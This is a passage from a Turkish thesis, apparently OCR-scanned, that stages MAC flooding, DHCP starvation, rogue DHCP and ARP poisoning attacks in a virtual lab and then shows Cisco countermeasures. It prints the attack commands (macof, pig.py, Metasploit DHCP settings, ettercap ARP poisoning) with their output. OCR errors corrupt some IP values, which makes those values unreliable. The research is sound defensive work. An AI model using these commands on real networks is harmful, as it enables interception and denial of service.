kullanicinin oturum giivenligi riske girmektedir. Bu protokolleri kullanan popiiler
saldirilar ise MITM c¢alisma prensibine benzer SMB (Server Message Block — Sunucu
Ileti Blogu) gecisi saldirilaridir [45].
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3. DENEYSEL CALISMA
3.1. Calismanin Ag Tasarim

Bu calismada yerel alan aglarindaki ataklarin test edilebilmesi i¢in sanal hacking
laboratuvar1 kurulmustur. Bu laboratuvar, GNS3 benzetim yazilimi ve Vmware
sanallastirma i¢inde yer alan Kali Linux, Windows 10 ve Windows 7 bilesenlerinin de
yer aldig1 ekipmanlar yardimi ile bir ag prototipi olusturarak gerceklestirilmistir. Ag
prototipi iginde yer alan bilesenler asagida maddeler haline siralanmaktadir:

e 1 adet yonlendirici

e 2 adet 3. katman anahtar

e 4 adet 2. katman anahtar

e 4 adet GNS3 ile entegre edilmis VMware lizerinde ¢alisan sanal bilgisayar

GNS3 benzetim yazilimi araci ile birlikte kullanilabilen GNS3 VM (Virtual Machine
— Sanal Makine) aracinin yiiklenmesi saglanarak benzetim aracinin iginde
kullanabilecek cihazlarin ¢alisacagr ikinci bir sunucu gorevi géren sanal bir sunucu
sisteme eklenmektedir. Boylece hem fiziksel bilgisayarin islemci ve RAM (Random
Access Memory — Rastgele Erisilebilir Bellek) ytiklerinin bir kism1 sanal sunucuya
aktarilarak verim elde edilmis hem de NAT (Network Address Translation — Ag Adres
Ceviricisi) islemi gergeklestirilerek yerel alan agindaki sanal bilgisayarlarin
yonlendirici cithazi lizerinden internete ¢ikmasi saglanmistir. VLAN, kurum aginda yer
alan birimler i¢in mantiksal béliimlerin yer aldig1 sanal aglar olusturmaktadir. Boylece
kurum aginin yonetimi kolay hale gelmesi hem de genel yayin adresi araciligr ile yerel
alan ag1 tehdit edecek siber saldiri riskini azaltilmasi amaclanmaktadir. Ag gecidi
yedekliligi i¢in HSRP protokolii tercih edilmistir. HSRP protokolii ile hangi
VLAN’lerin aktif (primary) hangisi beklemede (standby) oldugunu ayarlama imkan1
saglamaktadir. Boylece hem ag gecidi yedekliligi hem de yiik dengeleme saglanmasi

amaclanmaktadir.
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Sekil 3.1’de GNS3 benzetim araci iizerinde hazirlanan ag prototipi yer almaktadir.
Kali ve kurban makinelerinin yerleri her atakta degiskenlik gostermesinden dolay1

sekle eklenmemistir.

internet

Gi0/0
q—
Yonlendiricil
Gil/o Gi2/0

Port Birlestirme

Dagitim?

Primary Primary
VLANI10,VLAN20 VLAN30,VLAN40
Standby . . Standby
VLAN30,VLAN40 VLANI10,VLAN20

Gi0/0

Gil/0y

VLANIO VLAN20 VLAN3O VLAN40

Sekil 3.1. VMware ve GNS3 entegrasyonu ile yapilan ag prototipi
3.1.1. Ag cihazlarinin islevleri

Sekil 3.1°de kullanilan ag prototipi lizerinde kullanilan yonlendirici, dagitim
anahtarlart ve erisim anahtarlarinin islevleri ve konfigiirasyonlar1 kisaca
Ozetlenmektedir. Yonlendirici cihazi iizerinde tanimlanan konfigiirasyonlar ve
islevleri asagidaki gibidir:

e Sanal isletim sistemlerinin internete ¢ikmasi icin NAT, ACL (Access Control List

— Erisim Kontrol Listesi) ve varsayilan rota yapilandirmasi,
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e Dinamik yonlendirme i¢in OSPF yapilandirmasidir.

Dagitim anahtarlar1 iizerinde tanimlanan konfigiirasyonlar ve islevleri asagidaki
gibidir:

e Tanimlanan her birim i¢in VLAN’larin olusturulmasi,

e Farkli VLAN’lerdeki birimlerin haberlesmesi i¢in SVI (Switch Virtual Interface —
Anahtar Sanal Ara yiizii) i¢in IP yapilandirmast,

e VTP (Virtual Trunking Protocol — Sanal Yerel Ag Aktarim Protokolii) sunucu
gorevi.

e Yedekli DHCP sunucusunun olusturulmasi,

e Yedekli ag ge¢idinin olusturulmas,

e Darbogaz1 engellemek icin kullanilan port birlestirme yapilandirmasinin
gerceklestirilmesi,

e Dinamik yonlendirme islevi igin OSPF yapilandirmasinin yapilmasi,

e VLAN’ler i¢in STP yapilandirmasidir.

Erigim anahtarlar1 tizerinde tanimlanan konfigiirasyonlar ve islemler asagidaki gibidir:
e VTP istemci gorevinin tanimlanmasi,
e Mantiksal olarak boliinmesi i¢in portlar iizerinde VLAN atamasi isleminin

gerceklestirilmesidir.

3.2. Tasarlanan A§ Uzerinde Gergeklestirilen Yerel Ag Ataklan
3.2.1. MAC tasma atag

3.2.1.1. MAC tasma saldirisinin baslatilmasi

Bu saldinn iki farkli senaryo gergeklestirilerek degerlendirilmistir. Ilk senaryoda,
saldirgan bilgisayar1 tarafindan VLAN 10’a {iye olan porta baglant1 saglanmakta ve
ilgili VLAN iizerinden saldir1 gergeklestirilmektedir. Saldir1 gergeklemesinde test
araci olarak macof test araci kullanilmistir. Sekil 3.2°de macof test aracinin kullanimi

ve saldir1 anindaki bilgiler goriintiilenmektedir.
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root@macflood: ~ e ® O

File Edit View Search Terminal Help

root@macflood: -# macof -i ethe |
c9:f1l:1a:62:7a:db 86:18:16:39:d7:66 0.0.0.0.43485 > 0.0.0.0.10234: S 409765132:40976513
P(0) win 512

p2:83:cf:7e:42:e4 dB:e9:22:33:8b:50 0.0.0.0.9894 > 0.0.0.0.58305: S 295749789:295749789
{(0) win 512

Pf:33:eb:a:4e:b5 bd:7d:12:56:51:6d 0.0.0.0.18094 > 0.0.0.0.47502: S 2101188521:21011885
P1(0) win 512

15:38:c5:51:ca:e8 da:78:89:78:76:5b 0.0.0.0.11546 > 0.0.0.0.31103: S 2129329373:2129329
B73(0) win 512

b4:1e:28:a:39:fe 26:T0:af:3e:d7:45 0.0.0.0.10717 > 0.0.0.0.30059: S 1031166964:10311669
64(0) win 512

Ba:b0:9d:7c:f4:d7 2c:13:3e:26:T8:80 0.0.0.0.52604 > 0.0.0.0.3061: S 1799500045:17995000
H5(0) win 512

P1:84:bc:1d:29:a6 3b:71:2:59:41:13 0.0.0.0.26383 > 0.0.0.0.11962: S 1181634016:1181634
P16(0) win 512

Ha:42:73:36:2b:bd 91:af:80:31:23:a8 0.0.0.0.24011 > 0.0.0.0.44256: S 440109831:44010983
1{0) win 512

Sekil 3.2. Test aracinin anlik goriintiisii

Saldir1 6ncesinde VLAN 30’a iiye olan bilgisayardan VLAN 10’un sanal IP adresine
Sekil 3.3’te gortildiigli gibi ping paketleri gonderilmistir. Saldir1 agamasinda ise ayn1
noktalar arasinda tekrar ping paketi gonderilmis ve ¢ikan sonuglar Sekil 3.4’de

gosterilmektedir.

£rc3 - ] b4

PC-3> ping 192.168.10.254

84 bytes from 192.168.10.254 icmp_seq=1 ttl=255 time=6.017 ms
84 bytes from 192.168.10.254 icmp_seq=2 ttl=255 time=14.043 ms
84 bytes from 192.168.10.254 icmp_seq=3 ttl=255 time=13.035 ms
84 bytes from 192.168.10.254 icmp_seq=4 ttl=255 time=53.144 ms
84 bytes from 192.168.10.254 icmp_seq=5 ttl=255 time=4.010 ms

PC-3>

Sekil 3.3. Saldir1 6ncesi ping paket durumu

£pc3 - O X
PC-3> ping 192.168.10.254 n
84 bytes from 192.168.10.254 icmp_seq=1 ttl=255 time=357.952 ms
192.168.10.254 icmp_seq=2 timeout

84 bytes from 192.168.10.254 icmp_seq=3 ttl=255 time=616.640 ms
84 bytes from 192.168.10.254 icmp_seq=4 ttl=255 time=391.640 ms
84 bytes from 192.168.10.254 icmp_seq=5 ttl=255 time=293.281 ms

PC-3> v

Sekil 3.4. Saldir1 agsamasi ping paket durumu
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Saldirt esnasinda yerel alan ag trafiginde paket gecikmelerinin ve kayiplariin
yasandig1 Sekil 3.4’de goriilmektedir. Bu yapida, kurgulanan ag prototipi lizerinde yer
alan yonlendirici hari¢ diger ag cihazlarinin MAC tablolar1 sahte MAC bilgileri ile
dolmaktadir.

Ikinci senaryoda, ayn1 yontemler kullanilarak yapilan saldirilar yerli VLAN (VLAN
1)’a liye olan porta baglanarak gerceklestirilmistir. Saldirgan kurum agi ile hig ilgisi
olmayan bir VLAN’a dahil edildigi i¢gin DHCP’den IP alamamustir. Fakat bu saldir1
tipi ile 2. katman agi etkilenmekte ve IP adresine gereksinim olmadig: igin dahil

oldugu anahtar portuna MAC tagsma saldiris1 basartyla tamamlandigi goriilmektedir.
3.2.1.2. MAC tasma saldirisindan korunmak

Mac tasima atagi, MAC erisim kural listesi veya anahtar port giivenligi 6zelliklerinin
aktif edilmesi neticesinde basarisiz olmaktadir. Sekil 3.5’te saldir1 6ncesi anahtarin

CPU kullanim degerleri gosterilmektedir.

& Frisim1 - O X
Erisiml#show processes cpu ~
CPU utilization for five seconds: 2%/0%; one minute: 3%; five minutes: 3%

Sekil 3.5. Saldir1 6ncesi CPU degerleri

Anahtar port giivenligi koruma yontemi, porttaki MAC adres sayisina bagli olarak
erisim i¢in sinirlama getirmektedir. Bu koruma yontemi, belli sayidaki MAC bilgisinin
ilgili portta kayit edilmesini ve yabanct MAC bilgisi ile karsilastiginda trafigin o hattan
gelmemesini saglamaktadir. Ag yoneticisi, MAC adreslerini statik veya dinamik
yontemi kullanarak anahtarin portlarina kaydedebilmektedir [46]. Anahtar port
giivenligi Ozelligini aktif edebilmeyi saglayan Ornek konfigiirasyon Sekil 3.6’da
gosterilmektedir. Bu konfigilirasyon incelendiginde, ilk satirdaki komut arayiizlere
baglant: igin kullamlir. ikinci satirdaki komut, ilgili ara yiize tek bir cihaz baglanti
satirdaki komut, ilgili porta toplam en fazla 4 adet MAC adresi kayit edilmesi igin
kullanilir.  Dordiincti  satirdaki  komut, o6grenme yoOntemi dinamik olarak
gerceklesmesini ve besinci satirdaki komut ise olasi ihlal durumunda port kapatilir ve

olay kayit sunucusuna bu ihlal bilgisi gonderilerek islem tamamlanmaktadir.
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&2 Erisim1 - O X
Erisiml(config)#interface range gigabitEthernet 0/2-3 .
Erisiml(config-if-range)#switchport mode access
Erisiml(config-if-range)#switchport port-security
Erisiml(config-if-range)#switchport port-security maximum 4
Erisiml(config-if-range)#switchport port-security mac-address sticky
Erisiml(config-if-range)#switchport port-security violation shutdown
Erisiml(config-if-range)#end

Erisiml# v

Sekil 3.6. Port giivenligi icin gerekli konfigiirasyon

Anahtar lizerinde sadece anahtar port giivenligi 6zelligi aktif iken saldir1 baslatilmustir.
Anahtarin anlik CPU degerleri Sekil 3.7°de goriintiilenmektedir.

&8 Erisim1 - O X
Erisiml#show processes cpu .
CPU utilization for five seconds: 2%/0%; one minute: 2%; five minutes: 3%

Sekil 3.7. Anahtar port giivenligi teknigi i¢in anahtarin CPU degerleri

MAC erisim kural listesi sayesinde sadece tanimladigimiz MAC’ler ilgili porttan gegis
yapabilmektedir. Anahtar iizerinde sadece MAC erisim kural listesi 6zelligi aktif iken

saldir1 baglatilmistir. Anahtarin anlik CPU degerleri Sekil 3.8”de goriintiilenmektedir.

&8 Erisim1 - m] X
Erisiml#show processes cpu ~
CPU utilization for five seconds: 16%/0%; one minute: 6%; five minutes: 3%

Sekil 3.8. MAC erisim kural teknigi i¢in anahtarin CPU degerleri

Anahtar port giivenligi teknigindeki CPU kullanim degerlerinin MAC erisim kural
listesi tekniginde ¢ikan CPU kullanim degerine gore daha diisiik ¢iktig1 goriilmektedir.

3.2.2. DHCP achk saldirisi

DHCP aglik saldirisinin amaci yetkili DHCP sunucusunun hizmet dis1 kalmasini
saglamaktir. Bunun i¢in Yyetkili DHCP sunucunun IP havuzunun bitirilmesi
gerekmektedir. Saldirgan tarafindan DHCP kesif paketi ile siirekli MAC adresi
degistirme islemi ile IP talebinde bulunarak gergeklestirmektedir [47]. Saldirgan bu
atagi basariyla tamamladiginda, sahte bir DHCP sunucu kurarak istemcilerin ag gegit
bilgilerini bu sahte DHCP sunucunun IP’si yaparak MITM atagin1 daha genis ¢apta
yapabilmektedir.
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3.2.2.1. DHCP aclik saldirisinin baslatilmasi

DHCP aclik saldirisinin baslatilmadan once dagitiml anahtarinin IP havuzu ve
tasarlanan agdaki VLAN’larinde yer alan toplam 4 bilgisayar igin IP atamasi
gerceklestirilmesi Sekil 3.9°da gosterilmektedir.

&2 Dagitim1 - [m] X
Dagitiml#show ip dhcp binding -
Bindings from all pools not associated with VRF:
IP address Client-ID/ Lease expiration Type State

Hardware address/

User name
192.168.10.3 ©100.5079.6668.00 Infinite Automatic Activ
192.168.20.3 0100.5079.6668.01 Infinite Automatic Activ
192.168.30.3 0100.5079.6668.02 Infinite Automatic Activ
192.168.40.3 0100.5079.6668.03 Infinite Automatic Activ
Dagitiml# v

Sekil 3.9. Saldir1 dncesi dagitim1’in IP havuzu

Tasarlanan ag i¢in DHCP sunucusunun IP havuzuna ait sayisal verilerinin yer aldigi
bilgiler Sekil 3.10’da goriilmektedir. IP havuzunda yer alan 4 adet bilgisayarin
istatistik tablosu ile ayni sayida olmasi DHCP aglik saldirisinin heniiz baglamadigini
gostermektedir. A¢lik atagi yapilmis olsaydi hem havuzdaki IP sayisinin hem de

istatistik tablosundaki adres havuz sayisinda artis gozlenmesi beklenmektedir.

&2 Dagitim1 - mi X

Dagitiml#ishow ip dhcp server statistics ~
Memory usage 20605

Address pools
Database agents
Automatic bindings
Manual bindings
Expired bindings
Malformed messages
Secure arp entries
Renew messages <] v

Sekil 3.10. Saldir1 6ncesi DHCP sunucu istatistik verileri

(o VI v I VI S v I

Tasarlanan ag i¢in DHCP aclik saldirist iki farkli senaryo tizerinde degerlendirilmistir.
Birinci senaryoda anahtar portunun fiziksel katmanin aktif oldugu durumun
degerlendirilmesi yapilmistir. Saldirinin  gergeklestirilmesinde Python dili ile
gelistirilmis pig.py aract kullanilmistir. Bu aracin kullanilmas: ile Sekil 3.11°de

goriildiigi gibi siirekli DHCP kesif paketleri ag tizerinde anons edilmektedir.
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root@dhcpstarvation: ~ @ @ @

File Edit View Search Terminal Help
root@dhcpstarvation:~# pig.py ethe -
[ -- 1 [INFO] - using interface eth@®
[DBG ] Thread ® - (Sniffer) READY

[DBG ] Thread 1 - (Sender) READY

[---=] DHCP Discover

[---=] DHCP Discover l

[---=] DHCP Discover
[---=] DHCP_Discover

Sekil 3.11. Birinci senaryo igin saldirinin
baslatilmasi

Bu senaryoda tasarlanan agin DHCP sunucusunda sadece ilgili VLAN’lere IP atamasi
yapilabilmesi ve saldirgana ait bilgisayarin bagli oldugu porta VLAN atamasi
yapilmamasi bu saldiridan yetkili DHCP sunucusu etkilenmemistir. Fakat saldirganin
bagli oldugu anahtar {izerinde port giivenlik yapilandirmasinin olmayis1 nedeniyle

anahtarin ilgili portuna DOS atag1 yapildig gortilmiistiir.

Ikinci senaryoda kurum galisaninin isten ayrilmasi veya birim degisikligi yapmasi
nedeniyle bagh oldugu port iizerinde bir takim giivenlik onlemlerinin alinmadigi
durum degerlendirilmistir. Sekil 3.12°de ve Sekil 3.13’te atagin basarili bir sekilde
gerceklestirildigi hem saldirgan tarafindan hem de katman 3 anahtar tarafinda

gorilmektedir.

root@dhcpstarvation: ~ - IO )

File Edit View Search Terminal Help

root@dhcpstarvation:-# pig.py eth® -
[ -- 1 [INFO] - using interface eth®

[DBG ] Thread 0 - (Sniffer) READY

[DBG ] Thread 1 - (Sender) READY

[---=] DHCP_Discover

[---=] DHCP_Discover

[---=] DHCP_Discover

[<---1 DHCP_Offer Bc:6d:44:ca:80:0a 0.0.0.0 IP: 192.168.10.57 for MAC=[de:ad:14:1b:1f:a3]
[---=] DHCP_Request 192.168.10.57

[---=] DHCP_Discover

[<---1 DHCP_Offer Bc:6d:44:e2:80:0a 0.0.0.0 IP: 192.168.10.56 for MAC=[de:ad:0d:62:e3:d4]
[--->] DHCP_Request 192.168.10.56 -

Sekil 3.12. ikinci senaryo igin saldirinin baslatiimasi
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&P Dagitim1 - 0 X
Dagitiml#show ip dhcp binding ~
Bindings from all pools not associated with VRF:
IP address Client-ID/ Lease expiration Type State Interface

Hardware address/

User name
192.168.10.3 dead.173a.3e48 Jan 27 2019 ©8:40 PM Automatic Selecting Vl1anle
192.168.10.4 dead.0821.d434 Jan 27 2019 ©8:40 PM Automatic Selecting Vl1anle
192.168.10.13 dead.1200.2082 Jan 27 2019 ©8:40 PM Automatic Selecting Vlanle
192.168.10.16 dead.1561.1de6 Jan 27 2019 08:40 PM Automatic Selecting Vlanie
192.168.10.17 dead.1324.65b6 Jan 27 2019 08:40 PM Automatic Selecting Vlanile
192.168.10.18 dead.0628.e612 Jan 27 2019 08:40 PM Automatic Selecting VI1anle
192.168.10.19 dead.@835.820f Jan 27 2019 08:4@ PM Automatic Selecting VI1anle
192.168.10.23 dead.165a.160c Jan 27 2019 ©8:40 PM Automatic Selecting V1anile
192.168.10.24  dead.1a6@.2f3c Jan 27 2019 ©8:40 PM Automatic Selecting Vl1anle
192.168.10.25 dead.0@670.3ale Jan 27 2019 ©8:40 PM Automatic Selecting Vlanle
192.168.10.26 dead.2874.e9b9 Jan 27 2019 ©8:40 PM Automatic Selecting Vvlanle
192.168.10.27 dead.@b28.8fea Jan 27 2019 ©8:40 PM Automatic Selecting Vl1anle
192.168.10.28 dead.182a.4cdd Jan 27 2019 ©8:41 PM Automatic Selecting Vlanle
192.168.10.29 dead.0219.a2e3 Jan 27 2019 ©08:41 PM Automatic Selecting Vlanle
192.168.10.30 dead.154a.d5dc Jan 27 2019 08:41 PM Automatic Selecting Vlanie
192.168.10.31 dead.0647.f8b8 Jan 27 2019 08:41 PM Automatic Selecting Vlanile
192.168.10.32 dead.@c4c.54d9 Jan 27 2019 08:41 PM Automatic Selecting VI1anle
192.168.10.33 dead.1317.a240 Jan 27 2019 ©08:41 PM Automatic Selecting V1anle
192.168.10.34 dead.1b61.bf31 Jan 27 2019 ©8:41 PM Automatic Selecting V1anle v

Sekil 3.13. ikinci senaryo igin 3. katman cihazinin DHCP havuzu
3.2.2.2. DHCP ac¢lik saldirisindan korunmak

Erisim anahtarlarinda yapilacak teknik yapilandirmalar; DHCP acglik saldirisinin
calisgma mantigi MAC degistirerek yapilmasindan dolayr anahtar port giivenligi
yapilandirilmas1 ve DHCP paketlerinin saniyedeki gonderim hizini stnirlandirmak igin
yetkili DHCP sunucusunun bagli olmadigi portlara Sekil 3.14°deki komutun

calistirilmasi ile yapilan ag tasariminda atagin oniine gegilebildigi gériilmiistiir.

&2 Erisim1 - O X
Erisiml(config)#interface range gigabitEthernet 0/2-3 |»
Erisiml(config-if-range)#ip dhcp snooping limit rate 4
Erisiml(config-if-range)# v

Sekil 3 14. DHCP kesif paket gonderim sinirlama

DHCP kesif paket sinirlama komutu tek basina bir 6nlem alamadigi goriilmiis, port
giivenligi ile birlikte kullanildiginda anahtar lizerinde DOS atagin1 engelleyerek

DHCP aglik ataginin da engellenmesi saglanmaktadir.
3.2.3. Sahte DHCP saldiris1

DHCP istemcisi DHCP kesif ile IP talebinde bulundugunda, bu istekler sisteme zarar
vermek isteyenler tarafindan da goriiliir. Sahte DHCP sunucusu kurban bilgisayara

yetkili DHCP sunucudan konum olarak daha yakin, yetkili DHCP sunucusu mesgul
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oldugunda veya bu sunucuya ait havuzda IP kalmadigi durumlarda, IP talep cevabi
sahte DHCP sunucusu tarafindan verilir. Boylece saldirgan istedigi ip, alt ag maskesi,
ag gecidi ve DNS bilgilerini kurban bilgisayarina gonderir. Kurban bilgisayar DHCP

bilgilerini sahtenin génderdigi bilgilerine gore giinceller [48].
3.2.3.1. Sahte DHCP saldirisinin baslatilmasi

Sekil 3.15’te saldir1 6ncesi kurbanin IP bilgileri yer almaktadir.

B Command Prompt - O X

C:\Users\IEUser>ipconfig /renew A

Windows IP Configuration

Ethernet adapter Ethernet®:

Connection-specific DNS Suffix

Link-local IPv6 Address . . . . . : feB0::2456:6028:af5%1:1f81%5
IPv4 Address. . . . . . . . . . . : 192.168.10.202

Subnet Mask . . . . . . . . . . . : 255 255.255.8

Default Gateway . . . . . . . . . : 192.158.18.254 o

Sekil 3.15. Kurbanin saldir1 6ncesi IP bilgileri

Saldirgan, kurbanin ag geg¢idinin IP adresini sahte IP adresi ile degistirebilmesi igin alt
arayiiz tanimlamasi yapmasi gerekmektedir. Saldirgan, kurbanin saldiri altinda
oldugunu anlamamasi i¢in sahte ag gecidi adresini belirlerken dogru ag ge¢idi bilgisine
benzer bir IP adresi seger ve iizerine gelen paketi ISP yonlendiricisine yonlendirir. Bu

islemlerin ger¢eklesmesini saglayan ayarlar Sekil 3.16’da yer almaktadir.

root@sahtedhcp: ~ e ® 8

File Edit View Search Terminal Tabs Help
root@sahtedhecp: ~ % root@sahtedhcp: ~ % root@sahtedhcp: ~ x  F
root@sahtedhcp: -# ifconfig eth® 192.168.10.73 netmask 255.255.255.0 -

root@sahtedhcp:~# echo 1 = fproc/sys/net/ipv4/ip forward
root@sahtedhcp: -# route add default gw 192.168.10.254 ethf:1

root@sahtedhcp:-# ifconfig eth®:1 192.168.10.154 netmask 255.255.255.0 '

Sekil 3.16. Saldirganin arayiiz ayarlar1

Yetkili DHCP sunucusu i¢in hangi ayarlar gerekli ise sahte DHCP sunucusu i¢in de

ayni ayarlar gereklidir. MSF (Metasploit Framework — Giivenlik Rehber Yazilimi)
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yazilimi ile sahte DHCP sunucusunu aktif hale gelmesini saglayan ayarlar Sekil

3.17°de yer almaktadir.

root@sahtedhcp: ~ (— O - ]
File Edit View Search Terminal Tabs Help

root@sahtedhc.. % root@sahtedhc.. X  root@sahtedhc. X M

msf auxiliary({server/dhcp) = set broadcast 192.168.10.255 -
broadcast =» 192.168.10.255

msf auxiliary(server/dhcp) > set dhcpipend 192.168.10.130
dhcpipend == 192.168.10.130

msf auxiliary(server/dhcp) > set dhcpipstart 192.168.10.100
dhcpipstart == 192.168.10.100

msf auxiliary(server/dhcp) > set dnsserver 8.8.8.8
dnsserver == 8.8.8.8

msf auxiliary(server/dhcp) > set netmask 255.255.255.0
netmask =» 255.255.255.0

msf auxiliary(server/dhcp) > set router 192.168.10.154
router == 192.168.10.154

msf auxiliary(server/dhcp) > set srvhost 192.168.10.73
srvhost == 192.168.10.73

msf auxiliary(server/dhcp) = run

[#] Auxiliary module running as background job .

mst auxiliary(server/dhcp) =

[+#] Starting DHCP server..

msf auxiliary({server/dhecp) = ﬂ

Sekil 3.17. MSF ile sahte DHCP ayarlari

Sahte DHCP sunucusu aktif hale gelmesi ile birlikte aglik atagi baslatilir. O sirada yeni
eklenen bir Windows bilgisayarin alacagi yeni IP bilgileri Sekil 3.18’deki gibi

olmaktadir.

BN Command Prompt — O >

C:\Wsers\IEUser>ipconfig A

Windows IP Configuration

Ethernet adapter Etherneté:

Connection-specific DNS Suffix

Link-local IPv6 Address . . . . . : feB0::2456:6028:af51:1F81%5
IPv4 Address. . . . . . . . . . . : 192.168.16.161

Subnet Mask . . . . . . . . . . . : 255.255.255.8

Default Gateway . . . . . . . . . : 192.168.18.154 w0

Sekil 3.18. Kurbanin saldir1 sonrast IP bilgileri

Kurban ile google.com arasindaki rota normal sartlar altinda ilk ugramasi gereken
durak yetkili ag gecidi olmasi gerekirken Sekil 3.19°da da goriildiigii gibi saldirgan

bilgisayarina ugramaktadir.
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E® Command Prompt — O >
C:\Users\IEUser>tracert 8.8.8.8 A

Tracing route to 8.8.8.8 over a maximum of 38 hops

x x Ims 192.168.16.73
34 ms 21 ms 16 ms 192.168.16.1
54 ms 29 ms 15 ms 16.6.1.1
33 ms 33 ms 8 ms 192.168.122.1
84 ms 68 ms 34 ms 192.168.2.1
74 ms 39 ms 48 ms 213.243.9.6

194 ms 1862 ms 147 ms 213.14.28.141
163 ms 125 ms 241 ms 16.468.132.14
49 ms 49 ms 74 ms 18.38.216.93
18 47 ms 56 ms 43 ms 16.38.289.53
11 32 ms 34 ms 87 ms 16.46.141.15
12 53 ms 65 ms 68 ms 16.38.211.2686
13 78 ms 33 ms 79 ms 16.38.211.217
14 853 ms 71 ms 68 ms 16.38.218.182
15 91 ms 167 ms 88 ms 72.14.212.42
16 ® ® ® Request timed out.
17 83 ms 181 ms 124 ms 72.14.234.112
18 117 ms 99 ms 179 ms 188.176.236.91
19 88 ms 188 ms 182 ms 8.8.8.8

Vel - = QR RN N N R

Trace complete.

Sekil 3.19. Kurbanin internet trafik rotasi

3.2.3.2. Sahte DHCP saldirisindan korunmak

Burada dikkat edilmesi gereken en Onemli nokta IP bilgilerinin ger¢cek DHCP
sunucusundan geldigini garanti altina alinmasidir. Eger DHCP Teklif veya DHCP
Onay paketlerini anahtarin giivenilir portundan gonderiliyorsa gergek DHCP
sunucudur. DHCP Kesif veya DHCP Istek paketleri anahtarin giivenilmeyen
portundan gonderiliyorsa DHCP istemcisidir. Giivenilmeyen port DHCP sunucu
paketlerini gecirmez ve sadece DHCP istemci paketlerinin ge¢cmesini saglar. IP
adresinin giivenilmeyen porttan alinmamasi1 gerekmektedir. Gilivenilir port
kullanilarak DHCP sunucu paketlerini gegirilmesi saglanmalidir [49]. Sekil 3.20°de bu
ataktan korunmayir saglayan konfiglirasyonlar yer almaktadir. Cisco marka
anahtarlarin tlim portlart varsayilanda giivenilmeyen port olarak ayarli oldugu

unutulmamasi gerekmektedir.
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firi--'n‘:

Erisiml(config)#ip dhcp snooping =
Erisiml(config)#ip dhcp snooping vlan 10,20,30,40
Erisiml(config)#interface range gigabitEthernet @/6-1
Erisiml(config-if-range)#ip dhcp snooping trust v

Sekil 3.20. Sahte DHCP sunucudan korunma

3.2.4. ARP zehirleme saldirisi

HTTPS (HyperText Transfer Protocol Secure — Hiper-Metin Aktarma Giivenli iletisim
Kurali) sitelerinin HTTP’ye indirgenerek parola ve kullanict adi bilgilerini elde
edilebilmesi miimkiindiir. DNS sahtekarlig ile de kurbanin baglanmak istedigi web
sitesine kullanicinin  bilgisi haricinde zararli yazilim igeren web sitesine
yonlendirilmektedir. Kurbanin ekran goriintiileri ve klavye tuslarindan gelen bilgilerin
takibi gergeklestirilmektedir. Bunun yaninda kurbanin girdigi herhangi bir web sitesi
icerisine javascript kodu enjekte edilerek kurbanin dikkatini ¢ekecek uyari ekranlar
ile veri ihlali iglemi devam etmektedir [50]. Goriilmektedir ki bu saldir1 yontemi diger
saldirilara temel olmakta ve tehlikenin daha ¢ok biiyiimesine neden olmaktadir. Tiim
bu anlatilan risklerin ger¢ceklesmesine temel olusturan saldiriyr yapmak i¢in sadece tek
satir komutu kullanmak yeterli olmaktadir. Bilgi anlaminda hem kurum hem de ¢alisan
zarar gormektedir. Agin performans: da bu saldiriddan olumsuz etkilenmektedir. Bu
gibi durumlar ile karsilagilmamasi i¢in ARP zehirlenmesi saldirisina yonelik gerekli

teknik onlemlerin alinmasi gerekmektedir.
3.2.4.1. ARP zehirleme saldirisimin baslatilmasi

Saldirgan bilgisayarinin  bagli oldugu anahtar portunun kurumda kullanilan
VLAN’lerden herhangi birine dahil edilmediginde ARP zehirleme saldirisi basarisiz
olmaktadir. Saldirgan bilgisayar, kurumda kullanilan VLAN’lerden her hangi birine
dahil edilmis anahtar portuna baglant1 yapmasi durumunda saldirinin yapilmasi siireci

degerlendirilecektir.

Saldirgan ve kurban bilgisayarlarinin MAC ve IP bilgilerinin yer aldig: bilgiler Tablo
3.1°de yer almaktadir.
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Tablo 3.1. Tasarlanan agda yer alan bilgisayarlarin IP ve MAC bilgileri

Host IP Adresi MAC Adresi
Kurban 192.168.10.4 00:0c¢:29:58:8b:9c¢
Saldirgan 192.168.10.128 00:0c:29:b4:68:f4

Sekil 3.21°de saldir1 6ncesi dagitim1 anahtarinin ARP tablosu listelenmektedir.

& Dagitim1 - ] X
Dagitiml#show arp .
Protocol Address Age (min) Hardware Addr Type Interface

Internet 10.0.1.1 16 ca@l1.4574.001c ARPA  GigabitEthernetl/e
Internet 10.0.1.2 - ©@c6d.44ca.1304 ARPA  GigabitEtherneti/e
Internet 192.168.10.1 - @c6d.44ca.800a ARPA Vlanle

Internet 192.168.10.2 3 0c6d.44e2.800a ARPA vlanle

Internet 192.168.10.3 1 0050.56C0.0003 ARPA Vlanle

Internet [192.168.10.4 [“] 900c.2958.8b9c__ ARPA VlanlBl

Internet 192.168.10.5 1 0050.56Cc0.0004 ARPA Vlanlie

Internet [192.168.10.128 %] 900c.29b4.68f4 ARPA VlanlBl

Internet 192.168.10.254 - 0000.0c9f.fo0l ARPA Vlanle

Internet 192.168.20.1 - @c6d.44ca.8014 ARPA Vlan2e@

Internet 192.168.20.2 14 9c6d.44e2.8014 ARPA Vlan2e@

Internet 192.168.20.254 - 0000.0c9f.fo01 ARPA Vlan2e@

Internet 192.168.30.1 - @c6d.44ca.80le ARPA Vlan3e

Internet 192.168.30.2 15 0c6d.44e2.801e ARPA vlan3e

Internet 192.168.30.254 - 0000.0c9f.f001 ARPA Vlan3e

Internet 192.168.40.1 - 9c6d.44ca.B8028 ARPA Vlan4e

Internet 192.168.40.2 15 9c6d.44e2.8028 ARPA Vlan4e

Internet 192.168.40.254 = 0000.0c9f.f001 ARPA Vlan4e v

Sekil 3.21. Saldir1 6ncesi dagitim1 anahtarinin ARP tablosu

ARP zehirleme saldirist Sekil 3.22°deki ettercap araci kullanilarak saldirgan tarafindan

baglatilmaktadir.

root@saldirganBilgisayar: ~ e ® 9
File Edit View Search Terminal Help
root@saldirganBilgisayar:-# ettercap -Tq -M arp:remote -i eth® /192.168.10.254// /192.168.10.4// =

Sekil 3.22. Ettercap iki yonlii ARP zehirleme ataginin baslatilmasi

Anahtar]l iizerinde tanimli olan anahtar port ve DHCP giivenligini saglamada
kullanilan koruma yontemlerinin bu saldir1 tiirline karst herhangi bir koruma
saglayamadiklarini ve zehirlenmenin gergeklestigi Sekil 3.23°de iki farkli IP adresine

karsilik iki ayn1t MAC adresinin eklenmesi ile anlagilmaktadir.
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o Dagitirn1 - o b
Dagitiml#show arp G
Protocol Address Age (min) Hardware Addr Type Interface

Internet 10.0.1.1 19 ca®l.4574.0801c ARPA  GigabitEthernetl/e
